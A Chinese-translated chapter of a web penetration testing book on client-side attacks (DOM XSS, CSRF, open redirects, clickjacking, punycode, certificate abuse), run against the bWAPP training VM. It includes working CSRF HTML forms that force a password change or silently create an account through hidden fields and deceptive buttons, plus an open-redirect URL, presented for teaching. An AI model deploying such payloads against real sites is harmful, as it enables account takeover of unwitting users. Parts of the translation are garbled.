Web 应用测试正确地将重点放在我们正在测试的应用及其支持基础设施上。我们关注这一点的大多数攻击要么是敲开 web 应用的前门，要么是搭便车进入客户端会话以获取非法访问。我们的客户将他们所有的安全预算用于加强基础设施，其中一些用于 web 应用自身的强化。也就是说，谁在照顾他们的客户？

在客户机自身暴露的增加和用户的易感性之间，我们将有各种各样的向量进行测试。软件组合数量惊人，用户行为与其他服务和 web 应用重叠，访问模式（移动与桌面、漫游与代理、厚客户端与瘦客户端与 web 客户端等）让应用开发人员难以保证安全。他们的最佳途径是强化应用本身，关闭任何漏洞，并确保应用关闭任何反射攻击向量和已受损主机的屏幕。

大多数客户端渗透测试将以灰盒或白盒测试范围的形式出现，因为大部分攻击类型都利用了应用自己的代码或脚本。我们很快就会看到，这并不是一个重大障碍。在本章中，我们将看到多种折衷端点的方法——它们的通信或主机本身。有了这些知识，就有许多 web 应用攻击会降低目标服务的性能，必须对这些攻击进行彻底的调查。

本章将通过以下主题帮助您了解这一点：

• 学习基于域对象模型（DOM的 XSS 攻击如何工作以及如何实现
• 了解如何使用 JavaScript 嵌入来危害客户端
• 了解如何使用客户端 URL 重定向和资源操纵
• 了解 Clickjacking 和 Websockets 如何提供进入客户机的其他方式
• 了解并实施执行跨站点请求伪造和劫持通信的漏洞利用

以客户端为中心的攻击跨越了 OWASP 2013 年和 2017 年十大威胁类别中的几个。使用基于 DOM 的跨站点脚本（XSS的客户端攻击是利用验证中的弱点将脚本嵌入 web 响应并将代码插入客户端的一种强大方法。以客户机为中心、基于 DOM 的 XSS 可以向客户机交付代码，以实现对 web 应用的妥协，但黑客会利用各种漏洞访问并影响客户机，例如未经验证的重定向和转发、WebSocket 攻击或点击劫持。2013 年和 2017 年版本的 OWASP 前 10 名中的第三类是一个易受跨站点请求伪造（CSRF攻击的漏洞，该漏洞利用受害者客户端作为轴心，并利用其身份验证状态危害其他站点。

在 OWASP 前 10 名中，还有其他一些攻击会渗透到其他领域，这些攻击已在早期的工作中介绍过，但我们将在本章中重新讨论其中一些攻击，以确保我们了解如何最好地测试和利用它们。这些威胁的共同点是，它们利用 web 应用服务器端实现上的问题来影响客户端的行为或完整性。因为这些攻击通常意味着访问交付给客户机的代码，所以这些技术中的大多数不适用于黑盒测试，而是用于白盒或灰盒测试。当然，攻击者可能会从内部人员的有利位置使用这些技术，因此客户端攻击通常是从环境中的初始滩头到横向移动或作为权限提升攻击的一个组成部分的垫脚石。

基于 DOM 的 XSS 应该在准备不足或未受保护的 web 应用环境和负责的团队中引起恐惧和恐慌。正如我们在第 6 章中所讨论的，通过跨站点脚本渗透会话，大多数 XSS 攻击利用缺乏输入验证来插入脚本（通常是 JavaScript）以影响客户端解释站点或与站点交互的方式。基于 DOM 的攻击是影响 DOM 所在的客户端浏览器的攻击的子集，以维护应用正在执行和呈现的本地视图。通过嵌入脚本，用户当然可以影响客户端的行为，但目标和目的的多样性是惊人的，并且该工具的健壮性（在协助 XSS 方面，浏览器利用框架（牛肉）非常出色）。这些攻击主要集中在攻击客户端，以攻击客户端并收集信息或关注最终用户。

2013 年 OWASP 十大#3:XSS 攻击摘要

未验证的重定向和转发包括通过 o笔重定向、UI 修正或客户端 URL 重定向进行攻击的漏洞。这些攻击类型包括将恶意链接放置到用户路径中，从而强制连接到非预期站点以进行其他攻击，无论是发起恶意软件下载还是拦截未来的通信或凭据。Web 应用本身就是这方面的同谋，因为这意味着开发人员没有部署足够的代码验证、会话管理，或者依赖有缺陷的、因而易受攻击的框架或模块。

OWASP 2013 前 10 名将该威胁列为#10 威胁（如以下截图所示），但 2017 版（在其当前草案中）已放弃该威胁，取而代之的是应用接口（API-基于漏洞。这并不意味着未经验证的重定向和转发不再是一种威胁，但它们最近没有那么普遍和令人担忧。这些攻击（如基于 DOM 的 XSS）往往以攻击用户为最终目标。

2013 年 OWASP 前 10 名总结#10：未经验证的重定向和转发

1980 年的书和随后的 2002 年的电影抓住我，如果你能是一个伟大的关于现实生活中的伪造者和骗子弗兰克·阿巴格纳尔的戏谑，他是操纵人们、让他们兑现伪造支票和以其他方式代表他采取行动的专家。黑客可以使用类似的社会工程技能和真实的请求，将毫无戒心的客户端转向服务器，并利用其信任关系发送恶意命令。跨站点请求伪造（CSRF）是一种针对使用应用漏洞的客户端的攻击，但实际上是为了使客户端对抗其应用。

2013 年 OWASP 排名前 10 位的第 7 条摘要：跨站点请求伪造

现在我们知道了这些攻击试图实现的目标，我们有了测试和验证这些漏洞是否存在的独特特权。在本节中，我将提供一些关于如何最好地在扫描中全面覆盖这些功能的指导，但我们也将研究如何利用它们进行黑盒攻击和系统笔测试范围。

CSRF 攻击（有时发音为sea surf）隐藏了引用操作的实际意图，并将其隐藏在伪造的请求中。用户希望相信页面的呈现（因为它来自我信任的 web 应用！）因此，没有理由调查隐藏在正文或标头中的底层隐藏字段或请求的操作，这些操作实际上会对服务器发起恶意操作。通过这些攻击，黑客可以让用户无意中在服务器上发起攻击，并将其经过身份验证的会话用作某种特洛伊木马。

大多数代理扫描器的扫描和爬网功能中都包含扫描 CSRF 漏洞的潜在存在——包括 BurpSuite、OWASP ZAP 和 Wapati。Burp 通常会这样标记（如下面的屏幕截图所示），带有关于攻击的含义以及如何预防的链接和指导：

BurpSuite 扫描显示 CSRF 漏洞

然而，实施 CSRF 攻击通常不是通过这些工具进行的，而是通过浏览器和记事本。如果您发现 CSRF 在您的测试中可能有意义，下面是一个示例，说明您可能如何执行此类攻击。在本练习中，我们将再次利用 OWASP BWA VM 和已损坏的 Web 应用（BeeBox），并导航到相应的页面（如以下屏幕截图所示）：

访问 bWAPP CSRF 实践链接

进入门户后，我们可以继续查看门户的源代码（在 Firefox 中，这涉及使用Ctrl+U或导航到**Tools**Page Source。这将在页面上显示 HTML（如下面的屏幕截图所示），但我们想要的是修改用户输入部分，以欺骗可怜的受害者将他们的密码更改为我们首选的密码。让我们继续复制这个部分（包括<form和</form>之间的所有内容）。

**

获取 HTML 以利用 CSRF 漏洞

我们的目标是让用户�� 顺便说一句，谁已经通过身份验证？允许我们借用他们的帐户，并将他们的凭据更改为我们的首选密码（他们真是太好了！）。我们可以通过修改如下所示的字段来实现这一点，在这里插入我们的首选密码（用粗体文本突出显示）。我还更改了按钮的名称，以帮助掩盖正在发生的更改�� 您可以将此设置为 a**Login**或其他他们更愿意点击的内容：

<form action="/bWAPP/csrf_1.php" method="GET">
    <p><label for="password_new">New password:</label><br />
    <input type="password" id="password_new" name="password_new" value="dude"></p>
    <p><label for="password_conf">Re-type new password:</label><br />
    <input type="password" id="password_conf" name="password_conf" value="dude"></p>
    <button type="submit" name="action" value="change">Click Here</button>
</form>

当我们保存这个（我选择了pw.html）并查看它时，我们应该会看到一组填充的字段，类似于我们在下面的屏幕截图中看到的。当用户单击这些 CSRF 片段时，如果原因不明确且字段隐藏，则会有所帮助；我们不想让他们知道我们正在强制更改密码（或者我们可能设计 CSRF 攻击以实现的其他目的）。

CSRF 修改的结果

现在我们有了工作代码，我们需要将其重新插入易受攻击的网站：第一行的原始代码片段（<form action="/bWAPP/csrf_1.php" method="GET">），其中包括指向引用页面（/bWAPP/csrf_1.php的引用链接。我们需要将该页面替换为完整的 URL（如以下屏幕截图所示），以便确保表单数据被放入真实页面的字段中：

HTML 中的修改字段

现在，我们修改的 HTML 已经完成了，但是我们如何将这份礼物送给我们的受害者呢？您可以将此攻击与 XSS 攻击相结合，通过电子邮件发送，或将其嵌入伪造页面中。要测试代码本身，我们只需打开页面并单击**Click Here**按钮。如果运气好的话（谁需要这些很棒的黑客呢？），你会看到一条类似于我们在下面截图中看到的信息：

CSRF 执行将受害者传送到真实页面

正如我们所看到的，这是一个非常有用的工具，在妥协的客户。黑客不仅将其用于凭证修改，还将资金重定向到不同的帐户，并进行其他攻击修改（使用经过身份验证的用户进行 XSS 或注入攻击）。谢天谢地，有一些方法可以消除这些类型的漏洞，但 web 应用需要包括这些漏洞。一些内容管理系统（CMSs）将保护构建到结构中（Joomla！、Drupal 等）；但是对于一些框架和临时编码的 PHP 和 ASP.NET 页面，开发人员可能需要使用 OWASP（的推荐来增加保护或强化他们的交互页面 https://www.owasp.org/index.php/Cross-Site_Request_Forgery_（CSRF）【预防措施】或其 CMS 的提供商。** **#### 你不知道我是谁吗？帐户创建

接管一个帐户可能在短期内有效，但我们通常希望应用上有一个持久的存在，而不是有一个非常愤怒或沮丧的受害者试图夺回控制权。如果我们能够访问管理员帐户或愚弄管理员用户点击链接，我们有时可以让他们帮助我们自己创建一个帐户！

诀窍是找到或准确猜测新用户或帐户创建页面的 URL。一旦我们做到了这一点，我们就可以使用与我们的第一个 CSRF 类似的攻击来自动创建帐户，并向其传递我们希望在其上使用的适当种子凭据。要了解这一点，我们可以再次使用 bWAPP 查看其工作原理，并从顶部菜单栏中选择**Create User**。您将看到以下屏幕截图中显示的字段，我已经用所需的帐户信息预先填充了这些字段：

创建我们需要填写的用户字段

当我创建帐户时，Burp 可以帮助我捕获字符串，其中包括我们想要的所有信息（如下面的屏幕截图所示）。现在，我们可以尝试利用两个选项：第 7 章、注入和溢出测试中介绍的 CSRF 和 HTMP 注入。为了论证注入是不可行的（可能目标的开发人员已经关闭了该漏洞），我们将进行 CSRF 攻击。

正在查找用于伪造的 URL 字符串

对于 CSRF 攻击，我可以从一个 HTML 文件开始，类似于我接下来捕获的内容：

<form action="/bWAPP/user_extra.php" method="POST">
    <table>
    <tr><td>
        <p><label for="login">Login:</label><br />
        <input type="text" id="login" name="login"></p>
    </td>    
    <td width="5"></td>
    <td>
        <p><label for="email">E-mail:</label><br />
        <input type="text" id="email" name="email" size="30"></p>
    </td></tr>
    <tr><td>
        <p><label for="password">Password:</label><br />
        <input type="password" id="password" name="password"></p>
    </td>
    <td width="25"></td>
    <td>
        <p><label for="password_conf">Re-type password:</label><br />
        <input type="password" id="password_conf" name="password_conf"></p>
    </td></tr>
    <tr><td colspan="3">
        <p><label for="secret">Secret:</label><br />
        <input type="text" id="secret" name="secret" size="40"></p>        
    </td></tr>
    <tr><td>
        <p><label for="mail_activation">E-mail activation:</label>
        <input type="checkbox" id="mail_activation" name="mail_activation" value="">
    </td></tr>
    </table>
    <button type="submit" name="action" value="create">Create</button>
</form>

现在，为了特别隐蔽，我们需要确保没有人接收到这个页面理解我们让他们做的事情。诀窍是隐藏字段并利用隐藏的属性将我们的请求通过他们的好奇检查。我可以通过修改源代码来消除所有标签并隐藏所有用户输入，除了一个submit按钮，同时在用户不知道的情况下嵌入我想要的凭证：

<form action="http://172.16.30.129/bWAPP/user_extra.php" method="GET">
        <input type="hidden" id="login" name="login" value="test1"></p>
        <input type="hidden" id="email" name="email" value="test1@example.com"></p>
        <input type="hidden" id="password" name="password" value="dude"></p>
        <input type="hidden" id="password_conf" name="password_conf" value="dude"></p>
        <input type="hidden" id="secret" name="secret" size="40" value="Hello Hackers"></p>
        <input type="hidden" id="mail_activation" name="mail_activation" value="">
        <button type="submit" name="action" value="create">Log In Here</button>
</form>

这将产生一个页面，当受害者加载时，该页面看起来像下面的屏幕截图所示。我们可以让那个按钮看起来像任何东西（**win $1M here!Verify EmailRegister for seminar**都是可行的选项）。如果我们愿意，这甚至可以作为链接嵌入到图片中；我们的目标是设计一些外观纯真、与用户预期行为相关的东西。

简单的登录页面，对吗？

当用户点击此按钮时，我们将看到，拥有帐户创建权限的可怜的、经过身份验证的受害者刚刚为我们创建了一个帐户，如下面的屏幕截图所示！这里的关键是要知道需要哪些字段。OSIT 可以提供帮助，因为新员工的说明和帮助门户通常会在几乎没有保护的情况下提供这些信息。我们还可以根据组织内的其他趋势做出一些有根据的猜测。

帐户已创建，谢谢！

应该注意的是，CSRF 是黑客和防御者之间非常活跃的猫捉老鼠创新领域。反 CSRF 令牌已成为保护用户的一种手段；但是，正如我们在本书中看到的所有漏洞一样，执行往往是最薄弱的环节。在使用反 CSRF 令牌的情况下，黑客（和我们）可以尝试在我们的 CSRF 页面中使用 JavaScript 来捕获客户端拥有的任何反 CSRF 令牌，并将其滑入我们的 GET 或 POST 请求中，以确保我们逃避这种保护。更好的反 CSRF 实现将通过实现时间和上下文驱动的令牌来防止这种情况，但如果它们不这样做，则有相当大的可能性绕过这些控制。** **### 相信我，我知道路！

对于如此之长的名称，未经验证的重定向和转发漏洞使网站暴露于可笑的小规模黑客攻击中，使得攻击者能够将用户重定向到恶意或至少是无意的网站。我们可以使用自动化工具（如 Burp 或 ZAP）扫描站点，这将通过使用完整站点路径或长重定向响应的页面等赠品（这两种工具都可以在该站点上看到，如下面的屏幕截图所示）来挖掘潜力或者只是尝试在浏览器中指定 URL 的扩展或修改：

BurpSuite 扫描显示未验证的重定向和转发漏洞

当您将鼠标悬停在页面上的链接上时，大多数网站仍然允许查看 URL，下面的屏幕截图中显示了此处的相关链接。这是在 OSIT 工作期间直观发现此类风险的一种简单方法。

识别候选超链接

另外，一些网站会隐藏超链接，但是**Page Source**应该会向我们透露这一点，如下面的屏幕截图所示。对于这个网站，我们可以看到他们正在使用上述相对链接，如果网站验证只返回相对链接，通常会提供更好的保护。如果他们使用明确的、完整的链接，或者允许他们代替站点范围的相对链接，这通常表示一些不太严格的编码验证。这也是查看任何其他关联脚本或不明显超链接的好方法，也可能是之前讨论的 CSRF、隐藏字段利用的潜在赠品，同样：

查看源通常会显示更多信息

需要注意的部分是 URL 中?之后的部分。正如我们之前所看到的，直接包含命令、脚本、字段，以及现在的另一个页面链接，为黑客提供了大量的侵入途径，可以插入他们自己的调整、启动命令，甚至将客户端引用到网站的完全限定域名（FQDN。对于这种攻击，我们可以简单地开始调整 URL 字符串并尝试添加我们自己的重定向。显然，这可能是欺骗用户访问我们的恶意门户或启动恶意软件下载的更大尝试的一部分，但现在，让我们通过以下方式制作 URL，用良性重定向来证明这一点：

http://172.16.30.129/bWAPP/unvalidated_redir_fwd_2.php?ReturnUrl=https://www.hackthissite.org/

瞧！我们已经将用户重定向到我们的恶意站点，在本例中，只是我们最喜欢的练习站点www.hackthissite.org（如下所示）：

重定向成功！

这种简单的方法经常被忽略，但当 URL 作为超链接隐藏在电子邮件中时，无论是完全隐藏还是仅显示 URL 的预期部分，用户都很可能单击它。如果 URL 后的操作包括让用户通过他们可以提供的身份验证访问站点，这可以提供足够大的立足点，让黑客可以利用。这种攻击很少单独发生；它通常用于在更全面的攻击生命周期的早期协助横向移动或会话劫持。** **## 我不需要你的验证

web 应用中的验证是消除或减少泄露风险的关键步骤。XSS、注入、CSRF、未验证重定向和转发攻击都利用了应用中的缺陷，这些缺陷允许操纵字段、暴露以前隐藏的功能或未使用的组件，以及缺乏语法强制。这里列出了一些额外的验证式攻击，通常可以通过全功能扫描和代理工具很好地检测到：

• CSS 注入：CSS 注入寻找常见样式表（不要与 XSS 或跨站点脚本混淆）中易受操纵或注入攻击的代码。与 XSS 和 CSRF 一样，这可用于插入脚本或导致流量重新路由，从而导致数据的过滤或凭据、令牌和其他敏感信息的捕获。在极端情况下，可以通过这种方式交付持久性。
• 客户端资源操纵：实际上是 XSS 的一种变体，这些攻击集中在请求或响应中的各种用户可控元素上，这些元素可能导致客户端在浏览器中执行恶意命令或进程。CSS 注入是一种风格，但其他常见目标是网页中的iFrame和其他链接对象（图像、引用、脚本、对象等）。iFrame 是向单个页面提供多个内容源的常用方法，在许多新闻和电子商务网站中都有使用。
• Web 套接字：Web 套接字攻击并不像预期的那样普遍，因为您看到有多少次应用在 URL 中使用ws://或wss://而不是 HTTP 调用？WebSocket 被设想为一种方法，通过这种方法，您可以在能够承载多个 TCP 连接的客户端和服务器之间提供全双工异步通信链路。嗯，他们还没有完全起飞，但如果他们曾经流行起来，你可以使用谷歌浏览器或 OWASP 的 ZAP 工具的扩展来测试他们的问题。与 HTTP 一样，我们希望我们的 web 套接字受到当前版本的 TLS 的保护，因此许多常见的 OpenSSL 或基于加密的攻击都是公平的。它们的头文件中还应该有关于源标签的严格规则，以便测试客户端资源操纵和各种注入攻击。
• 跨站点闪动：跨站点闪动与 XSS 非常相似，不同之处在于它会破坏 Adobe Flash 嵌入，而 Adobe Flash 嵌入以及 PDF、Java jar 文件和生产力软件是一种流行的恶意软件交付机制。通过改变嵌入的文件，黑客可以植入恶意软件或实现更多面向网络的目标，如获取凭证和 cookie。
• 跨源资源共享（CORS）：这利用了本章所述的许多攻击中缺乏验证的优势。大多数应用将确保头使用多个参数进行通信，在需要额外验证之前，可以使用它来测试请求可以超出原始域的范围有多远。如果 web 开发人员允许这些头使用通配符或禁用这些检查，那么这就提供了攻击而不受惩罚的方法。标头检查是主要的测试方法，但如果存在漏洞，可以通过类似于 CSRF 的代码操作来利用该漏洞。

以客户端为中心的攻击的最新趋势集中于规避许多受信任的保护机制和提高用户意识。虽然我不会详细介绍这些漏洞，但值得注意它们的潜力，并思考如何在您自己的测试中根据需要评估和利用这些漏洞。

点击劫持是几年前流行的一种攻击方法，它在 Facebook、Twitter、亚马逊和其他知名网站上的使用非常显著。在所有这些攻击中，黑客诱骗用户点击伪装或隐藏的链接来启动恶意页面或脚本。简单 HTML 能够提供重叠的 iFrame 或其他机制，用户不清楚它们的存在，黑客可以利用它在合法的站点组件上覆盖一个按钮，这样，当他们认为自己在单击控件时，他们反而在单击恶意操作，这些技术在过去几年中已经在现代浏览器版本中得到了解决，但值得注意的是，这种技术确实存在。

大多数讲英语的网络用户不知道世界各地的 DNS 中使用了许多字母表。虽然英语、日耳曼语和罗曼史语键盘可能没有意识到这一点，但浏览器完全能够呈现这些字符，以适应使用亚洲、非洲和中东更广泛字母表的用户和公司。折衷方案是实现一种编码方案，以便浏览器和其他应用能够准确地引用其他字符，这被称为Punycode。这确实会引起一些混乱，因为不同语言中的字母或符号虽然看起来几乎相同，但却截然不同。2017 年 4 月，研究人员发布了警告（https://www.xudongz.com/blog/2017/idn-phishing/ 黑客试图利用这些相似之处。苹果（Safari）、Mozilla（Firefox）和谷歌（Chrome）等浏览器制造商正在努力提供额外的保护，但这证明了需要更高级别的基于 DNS 的保护。到本书出版时，预计大多数浏览器都会有相应的缓解措施，但是，当然，我们需要验证这些更新是否到位。

证书和结构（PKI中的公钥是 web 和企业内部信任的基础。这种安排的前提是，如果双方使用可信的第三方进行相互认证，会出现什么问题？一段时间以来，黑客一直试图通过错误配置的证书、浏览器和宽松的服务器端实现来伪造证书。这些是相当容易暴露和防御的，但一些新的动态正在计划中。

据称针对伊朗离心机（的Stuxnet恶意软件活动 https://www.wired.com/2014/11/countdown-to-zero-day-stuxnet/ ）在整个袭击期间做了许多既有启发性又完全前所未有的事情。作为一种蠕虫，它以隐藏在.LNK 文件中的脚本的形式在目标环境中传播，尤其隐蔽，因为这些脚本会自动打开并呈现以显示文件类型的图标。一旦进入机器，它就建立了内核级访问和持久性，同时覆盖了有助于传播和执行蠕虫的其他进程。最令人震惊的发现是，它使用了经过签名的软件，并使用真正的硬件供应商的证书和私钥进行了身份验证。这种情况的发生对 PKI 社区是一个巨大的打击，许多公司开始着手确保这种情况不再发生。

快进几年，现在恶意软件供应商和网络黑客发现，现在可用的免费或廉价证书颁发机构可以帮助他们为其恶意软件或恶意 web 门户获取合法证书。加上 punycode 或其他域名hijinks，我们现在看到 XSS 将用户引导到恶意门户网站，并在下面的屏幕截图中看到 Firefox 中引人注目的可信站点图标欺骗用户。应该注意的是，这些攻击仍然很少见，但我们应该预计，未来会有更多的黑客试图利用它们作为一种对策，以防止 TLS 在 web 上的大量使用和浏览器默认设置，除非明确绕过，否则这些设置会阻止自签名、过期或伪造证书被接受。作为测试人员，我们希望确保扫描显示正确的 PKI 配置，仅使用最新版本的 TLS，并且公司浏览器标准不会屈服于证书验证，甚至不会决定显式证书配置以避免签名恶意软件或重定向：

证书信任已不再是过去的样子

客户端漏洞及其漏洞暴露了大多数 web 开发人员的盲点；他们不习惯在客户端平台上拥有安全性，可能会陷入只考虑保护其框架或应用的目光短浅的陷阱。黑客们认为这是一个有巨大好处的机会。它们可能会危害最终用户，同时利用其身份验证或缓存状态从最终用户处转移，从而危害 web 服务器。作为一个社区，我们需要确保应用所有者了解，加强其网站以防暴露客户端漏洞符合他们的最佳利益，因为改进的客户端安全性大大减少了应用本身的攻击面。

这并不容易——操作系统、浏览器、补丁级别、访问模式和其他因素的组合几乎是无限的，这些因素会影响客户端的曝光率。基于最佳实践的设计、修补和对细节的关注是针对这些潜在致命缺陷的最佳防御措施。我们还应该尽可能鼓励使用经过良好测试的框架，而不是定制设计的组件。与第 9 章、压力测试认证和会话管理中讨论的认证和会话管理漏洞一样，我们更愿意从更大的足迹和广泛的审查和审查这些广泛可用的组件中获益，而不是发现我们的目标的独特实现有一个直到被黑客利用才被发现的缺陷。

在下一章中，我们将通过查看如何将应用的业务逻辑放在适当的位置来完成测试。最后一个原则真正关注的是应用层的设计和错误处理，虽然我们会看到一些主题返回（例如注入和模糊），但我们确实希望确保即使是经过身份验证的用户也无法破坏目标并导致问题或访问非预期的数据或功能。虽然本章主要关注 HTML 并充分利用了我们的工具集，第 11 章打破了应用逻辑，但将看到 Burp 和 ZAP 的回归，因为它们的自动化能力将极大地帮助覆盖站点所能期望的所有迭代。我们快结束了，但希望你还在建立你的兵工厂，看看 web 应用笔测试的前景是多么巨大和有趣！Â**